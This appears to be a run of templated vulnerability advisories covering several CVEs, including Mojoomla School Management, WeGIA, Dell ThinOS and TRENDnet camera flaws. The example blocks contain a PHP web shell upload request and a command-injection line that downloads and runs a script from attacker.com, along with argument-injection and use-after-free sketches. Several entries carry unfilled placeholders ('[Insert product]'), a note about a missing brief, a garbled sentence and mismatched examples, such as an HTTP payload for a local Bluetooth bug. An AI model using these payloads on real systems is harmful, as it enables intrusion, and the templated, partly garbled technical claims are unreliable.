Author: Ameeba

Overview

The CVE-2025-31100 vulnerability is a critical issue discovered in the School Management software developed by Mojoomla. It is a flaw that allows an attacker to upload files of a dangerous type, typically a web shell, to a web server unrestrictedly. This kind of vulnerability poses a severe risk to all entities using the software, from schools to other educational institutions, as it can lead to system compromise or data leakage. It’s imperative to understand and mitigate this vulnerability promptly due to its high-risk rating and potential for significant damage.

Vulnerability Summary

CVE ID: CVE-2025-31100
Severity: Critical (9.9 CVSS Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Mojoomla School Management | n/a through 1.93.1

How the Exploit Works

The vulnerability primarily resides in the file upload feature of the Mojoomla School Management software. It fails to properly validate and sanitize the types of files being uploaded to the server. This lack of restriction allows attackers to upload a malicious web shell file to the server. Once uploaded, this web shell can execute arbitrary commands, providing the attacker with unauthorized access to the server and the ability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is an illustrative example of how this vulnerability might be exploited. This is a conceptual HTTP request to upload a malicious web shell.

POST /file_upload HTTP/1.1
Host: target.school.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="malicious_shell.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a PHP web shell that executes any command passed through the ‘cmd’ HTTP request parameter.

Mitigation

The most effective way to mitigate this vulnerability is by applying the vendor’s patch. If it’s not immediately possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to upload potentially dangerous file types.
Remember, regular updates and patches are crucial to prevent potential cyber threats. Always adhere to the principle of least privilege, and avoid giving unnecessary permissions to users or services that do not require them.

Overview

A potentially devastating security vulnerability, identified as CVE-2025-56577, has been discovered in Evope Core v.1.1.3.20. This vulnerability could allow a local attacker to obtain sensitive information through the use of hard-coded cryptographic keys within the system. The severity of this vulnerability is high, due to its potential to compromise systems and result in data leakage. This issue affects all systems running the said version of Evope Core, highlighting the immediate need for action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-56577
Severity: High (8.4 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Evope Core | v.1.1.3.20

How the Exploit Works

The exploit takes advantage of hard-coded cryptographic keys within the Evope Core v.1.1.3.20. An attacker who has local access to the system can use these keys to decrypt sensitive information, potentially gaining unauthorized access to confidential data and system resources. The hardcoded keys could be leveraged to intercept and decrypt data, manipulate data, or even create unauthorized administrative accounts, leading to a full system compromise.

Conceptual Example Code

The following example demonstrates a potential way an attacker might exploit this vulnerability. This is a conceptual example and does not reflect an actual exploit:

# An example of how hardcoded keys might be used to decrypt sensitive data
def exploit(target):
hardcoded_key = 'VulnerableHardCodedKey'
encrypted_data = target.retrieve_encrypted_data()
decrypted_data = decrypt(hardcoded_key, encrypted_data)
return decrypted_data
# Assuming that the attacker has local access to the system
target = LocalSystem()
sensitive_data = exploit(target)
print(sensitive_data)

In this pseudocode, an attacker uses the hard-coded key to decrypt sensitive data retrieved from the target system.

Recommended Mitigation

As CVE-2025-56577 is a result of hardcoded cryptographic keys in Evope Core v.1.1.3.20, the primary solution is to apply the vendor-supplied patch, which removes these hardcoded keys and replaces them with a more secure method of encryption.
In the absence of a patch, or until one can be applied, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and control network traffic. These tools can help identify and block attempts to exploit this vulnerability.
It is also advisable to follow best practices for secure coding, which include avoiding the use of hardcoded cryptographic keys and ensuring sensitive data is properly encrypted and secured.

Overview

The CVE-2025-43730 vulnerability is a significant security risk present in versions of Dell ThinOS 10 prior to 2508_10.0127. The vulnerability stems from an improper neutralization of argument delimiters in a command, commonly known as ‘Argument Injection’. This vulnerability has a profound impact on the cybersecurity landscape as it can be exploited by a local unauthenticated user, leading to an elevation of privileges and potential information disclosure. Its severity and the potential for system compromise or data leakage make immediate mitigation imperative.

Vulnerability Summary

CVE ID: CVE-2025-43730
Severity: High (8.4 CVSS Severity Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Elevation of privileges, potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Dell ThinOS 10 | versions prior to 2508_10.0127

How the Exploit Works

The vulnerability, CVE-2025-43730, exists due to the improper handling of command argument delimiters by the system. This flaw allows an attacker to manipulate the argument of a command, leading to unintended behavior. Specifically, it allows an attacker to inject their commands, which the system will subsequently execute. As it requires no user interaction or privileges, the vulnerability can be exploited by any unauthenticated local user, leading to an elevation of privileges and potential information disclosure.

Conceptual Example Code

To illustrate how the exploit might work in practice, let’s consider a pseudocode conceptual example:

$ command --option="safe_value; injected_command"

In this scenario, the `injected_command` is executed due to the improper handling of argument delimiters. The semicolon (;
) serves as the;
separating the `safe_value` from the `injected_command`. The system executes the `injected_command` as part of the overall command, leading to potential privilege escalation and information leakage.
It’s important to note that this is a generalized example and the specific commands and potential outcomes can vary greatly based on the specifics of the system and the intentions of the attacker.

Overview

In this article, we will delve into the specifics of an alarming vulnerability tagged as CVE-2025-22410. This critical flaw allows potential attackers to execute arbitrary code due to a use after free issue in multiple undisclosed locations. The vulnerability is particularly concerning as it could lead to local escalation of privilege without requiring any additional execution privileges. More worryingly, user interaction is not a prerequisite for the exploitation of this vulnerability, thereby magnifying its potential for misuse.
The implications of this vulnerability are far-reaching and could potentially compromise affected systems or lead to significant data leakage. Given its severity and widespread potential for damage, understanding CVE-2025-22410 and implementing appropriate mitigation measures is of paramount importance for all operators of potentially affected products.

Vulnerability Summary

CVE ID: CVE-2025-22410
Severity: Critical, CVSS Score 8.4
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Arbitrary code execution, local privilege escalation, potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Product 1] | [Version x.x.x]
[Product 2] | [Version y.y.y]
(Note: The products and versions have not been explicitly mentioned as it was not provided in the brief. However, in an actual case, this information would be sourced from the vulnerability announcement or advisory.)

How the Exploit Works

The vulnerability CVE-2025-22410 exploits a use after free issue. In these situations, a program continues to use a pointer after it has been freed. This can lead to two types of issues: if the freed memory is overwritten with new data, the program may crash or execute arbitrary code, leading to a potential security vulnerability.
In the case of CVE-2025-22410, an attacker can exploit this vulnerability by inserting malicious code into the freed space, thereby leading to arbitrary code execution. Since no additional privileges are required and user interaction is not necessary for exploitation, the vulnerability is particularly severe and easily exploitable.

Conceptual Example Code

Here’s a simplified conceptual example of how the vulnerability might be exploited. Please note that this is pseudocode and is intended only to illustrate the vulnerability:

char* ptr = malloc(100);
strcpy(ptr, "Safe String");
free(ptr);
// Some other code that might reallocate the freed memory
strcpy(ptr, "Malicious Code"); // Use after free!
execute(ptr); // Arbitrary code execution

In the above pseudocode, after the memory pointed by `ptr` is freed, it is used again to store a malicious string. This malicious string can then be executed, leading to arbitrary code execution.

Overview

CVE-2025-22409 is a serious security vulnerability discovered in the rfc_send_buf_uih function of rfc_ts_frames.cc. It could potentially allow an attacker to execute arbitrary code due to a use-after-free error and escalate privileges locally. This vulnerability does not require user interaction and can lead to serious consequences such as system compromise and data leakage. It’s important for users and system administrators to be aware of this vulnerability due to its high severity score of 8.4 and the potential for significant negative impact on the security of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-22409
Severity: High (CVSS 8.4)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

rfc_ts_frames | All versions prior to patch

How the Exploit Works

This vulnerability is based on a use-after-free error in the rfc_send_buf_uih function of rfc_ts_frames.cc. A use-after-free error occurs when a program continues to use a pointer after it has been freed. This can lead to a variety of adverse effects, including program crashes, incorrect operation, and exploitable conditions.
In this case, the error could allow an attacker to execute arbitrary code and escalate privileges locally. They could potentially gain control over the affected system, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. It does not represent actual exploit code but is intended to illustrate the type of scenario that could occur.

#include <stdlib.h>
int main() {
char *p = malloc(10 * sizeof(char)); // allocate memory
free(p); // free memory
strcpy(p, "malicious code"); // use after free, potentially writing arbitrary code
return 0;
}

In this example, memory is allocated to a pointer, then freed. However, the pointer is then used again to write arbitrary code, illustrating a use-after-free error. In the context of the CVE-2025-22409 vulnerability, such misuse could enable an attacker to execute arbitrary code and escalate privileges locally, leading to potential system compromise and data leakage.

Recommendations

Users and administrators are advised to apply the vendor patch as soon as possible to mitigate this vulnerability. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. However, these should not be considered as a long-term solution, as they cannot fully address the root cause of the vulnerability. Regular software updates and patch management are key practices in maintaining cybersecurity.

Overview

The CVE-2025-58159 vulnerability refers to a serious remote code execution flaw found in WeGIA, a widely-used Web manager for charitable institutions. This vulnerability, if exploited, could potentially allow an attacker to compromise the system or leak sensitive data. It impacts versions of WeGIA prior to 3.4.11 and is of significant concern due to the high CVSS severity score of 9.9. Its discovery underlines the necessity of regular system updates and robust cybersecurity measures within the nonprofit sector.

Vulnerability Summary

CVE ID: CVE-2025-58159
Severity: Critical (CVSS score 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WeGIA Web Manager | Prior to version 3.4.11

How the Exploit Works

The vulnerability stems from WeGIA Web Manager’s improper validation of uploaded files. More specifically, the application permits an attacker to upload files with arbitrary filenames, including those with a .php extension. As the uploaded file is written directly to disk without sufficient sanitization or extension restrictions, an attacker can upload a spreadsheet file containing PHP code. This code can then be executed on the server, allowing the attacker to run arbitrary code and potentially compromise the system.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited. An attacker might craft a request like this:

POST /upload/file HTTP/1.1
Host: vulnerable-charity.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
// Malicious PHP code here
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the example above, the attacker sends a POST request to the /upload/file endpoint with a malicious PHP file. If the server is vulnerable, it will accept and save the file, allowing the attacker to execute their code on the server.

Recommendations

To mitigate this vulnerability, users are strongly advised to apply the vendor’s patch by updating their WeGIA Web Manager to version 3.4.11 or later. If unable to do so immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. As always, it is recommended to follow good cybersecurity practices, such as regularly updating software and monitoring system activity for any unusual behavior.

Overview

The cybersecurity landscape is filled with numerous vulnerabilities and threats that can compromise the security of systems worldwide. One such vulnerability has been identified in the bnep_utils.cc component, which is widely used in various software applications. This vulnerability, identified as CVE-2025-22406, can lead to a potential code execution due to a use after free error, subsequently allowing for local privilege escalation.
The gravity of this issue can’t be overstated as it does not require any additional execution privileges nor user interaction for exploitation. This makes it a critical threat to any system or application that utilizes the affected component. It is crucial for IT administrators and security professionals to understand the implications of this vulnerability, its mitigation, and how to protect their systems against it.

Vulnerability Summary

CVE ID: CVE-2025-22406
Severity: High (CVSS: 8.4)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Possible system compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The vulnerability lies in the bnepu_check_send_packet function of the bnep_utils.cc component. This function contains a use after free error which, when exploited, allows an attacker to execute arbitrary code, leading to local escalation of privilege. This can result in potential system compromise or data leakage without the need for any additional execution privileges or user interaction.

Conceptual Example Code

While the exact exploitation method will vary depending on the specific implementation of the vulnerable component, a conceptual example would involve sending a malicious payload to a vulnerable endpoint on the target system. A conceptual example of this would look something like:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the “malicious_payload” would be crafted to exploit the use after free error in the bnepu_check_send_packet function, allowing for arbitrary code execution and local privilege escalation.

Recommended Mitigation

To reduce the risk of exploitation, it is recommended to apply any patches provided by the vendor as soon as they become available. In the meantime, or if such a patch is not yet available, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation, providing an extra layer of defense against potential attacks.

Overview

This blog post aims to shed light on the recently discovered cybersecurity vulnerability, CVE-2025-22405. This vulnerability is a serious concern as it allows malicious actors to execute arbitrary code due to a ‘use after free’ error in multiple locations. The exploit could potentially lead to a local escalation of privileges without any additional execution privileges required. The most concerning aspect is that user interaction is not needed for exploitation, meaning that systems could be compromised without the user’s knowledge. This vulnerability affects a wide range of systems and has the potential to cause significant damage if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-22405
Severity: High (8.4 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

[Product 1] | [Version 1.0 to 3.5]
[Product 2] | [Version 2.0 to 5.0]

How the Exploit Works

The vulnerability arises from a ‘use after free’ error in the affected software. In essence, the software continues to use memory after it has been freed or de-allocated. This situation can lead to various unexpected behaviours, including program crashes and potentially, the execution of arbitrary code.
The exploit works by taking advantage of this error to execute arbitrary code in the system. Since the software continues to use the freed memory, a malicious actor can insert their code into this ‘freed’ space. The program, continuing to run, will then execute this malicious code, leading to system compromise.

Conceptual Example Code

Although the actual code might be software-specific, here is a conceptual example of how the vulnerability might be exploited.

#include <stdlib.h>
void func() {
char *ptr = malloc(10);
free(ptr);
// Use after free
ptr[0] = 'a';
}

In this example, a pointer is allocated memory, then freed and immediately used again. This ‘use after free’ is where a malicious actor could potentially inject their code.

How to Mitigate

The primary mitigation strategy for this vulnerability is to apply the vendor patch as soon as it becomes available. However, until the patch is released and applied, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can help identify and block attempts to exploit this vulnerability, protecting your system until a more permanent fix is in place.

Overview

The CVE-2025-22404 is a severe vulnerability identified in the avct_lcb_msg_ind of avct_lcb_act.cc. This specific vulnerability allows the potential execution of arbitrary code due to use after free, which could lead to a local escalation of privilege without any additional execution privileges needed. This vulnerability’s impact is significant, as it could potentially result in a system compromise or data leakage. It is crucial to address this vulnerability promptly, since user interaction is not required for its exploitation.

Vulnerability Summary

CVE ID: CVE-2025-22404
Severity: High (8.4 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

avct_lcb_act.cc | All versions before the patch

How the Exploit Works

The vulnerability stems from the misuse of the avct_lcb_msg_ind process in avct_lcb_act.cc. Specifically, after an object is freed, the process continues to use it, which leads to a use after free condition. This condition can potentially allow an attacker to execute arbitrary code or escalate their privileges locally. Since there is no requirement for additional execution privileges or user interaction, this vulnerability can be exploited silently and unnoticed.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited:

// allocate memory for object
object_t *obj = malloc(sizeof(object_t));
// use the object
use(obj);
// free the object
free(obj);
// continue to use the object (use after free)
use(obj); // this is where the vulnerability occurs

In the above example, the object is used after it has been freed, which leads to undefined behavior and potential security risks. The exact exploitation method will depend on the specific use of the freed object and the control an attacker has over the input that is used.

Mitigation Guidance

To mitigate this vulnerability, users are recommended to apply the vendor patch as soon as it becomes available. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can help identify and block attempts to exploit this vulnerability, reducing the risk of system compromise or data leakage.

Overview

In the world of cybersecurity, the identification and mitigation of vulnerabilities are of utmost importance. One such vulnerability, recently discovered, is the CVE-2024-46484, which affects the TRENDnet TV-IP410 vA1.0R. This vulnerability is a critical issue as it allows an attacker to inject operating system commands within the /server/cgi-bin/testserv.cgi component, potentially leading to system compromise or data leakage.
The severity of the vulnerability, coupled with its widespread impact, underlines the urgent need for immediate mitigation. The vulnerability poses a significant threat to users and organizations making use of the impacted device, and its exploitation could have severe consequences, including unauthorized access, data theft, and potential system compromise.

Vulnerability Summary

CVE ID: CVE-2024-46484
Severity: Critical (CVSS Score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TRENDnet TV-IP410 | vA1.0R

How the Exploit Works

The vulnerability resides in the /server/cgi-bin/testserv.cgi component of the TRENDnet TV-IP410 vA1.0R. The flaw allows an attacker to inject malicious operating system commands directly into the said component. This is possible due to insufficient input validation and the use of unsafe system calls. Once the malicious commands are executed, the attacker could potentially gain unauthorized access, compromise the system, or leak sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited with an HTTP request:

POST /server/cgi-bin/testserv.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cmd=; wget http://attacker.com/malicious_script.sh; chmod +x malicious_script.sh; ./malicious_script.sh;

In this example, the attacker uses the ‘cmd’ parameter to run a series of commands. These commands download a malicious script from the attacker’s server, make the script executable, and then run the script-potentially leading to a full system compromise.

Mitigation Guidance

Users of the affected TRENDnet TV-IP410 vA1.0R are advised to apply the vendor patch immediately to mitigate the vulnerability. As an interim measure, users could utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to detect and potentially block exploitation attempts. However, these are temporary measures and do not provide a complete solution to the vulnerability. As a best practice, always ensure that your systems are updated with the latest patches and updates from vendors.